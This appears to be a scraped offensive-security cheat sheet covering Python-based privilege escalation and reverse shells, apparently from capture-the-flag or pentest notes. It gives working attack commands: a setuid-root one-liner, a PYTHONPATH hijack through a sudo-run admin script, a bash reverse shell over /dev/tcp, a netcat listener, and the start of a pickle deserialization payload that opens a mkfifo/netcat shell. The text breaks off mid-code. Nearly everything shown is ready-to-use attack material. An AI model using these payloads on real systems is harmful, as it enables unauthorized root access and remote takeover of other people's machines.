python2 python3
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("whoami;id;uname -a")'
# admin_tasks uses a py module
# create it and specify path to run code
sudo PYTHONPATH=/tmp/py/ /opt/scripts/admin_tasks.sh
__import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1')#
- Start listener using nc -lvnp 4444
- Run this on target system to get back shell
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat IP PORT > /tmp/f'
class rce(object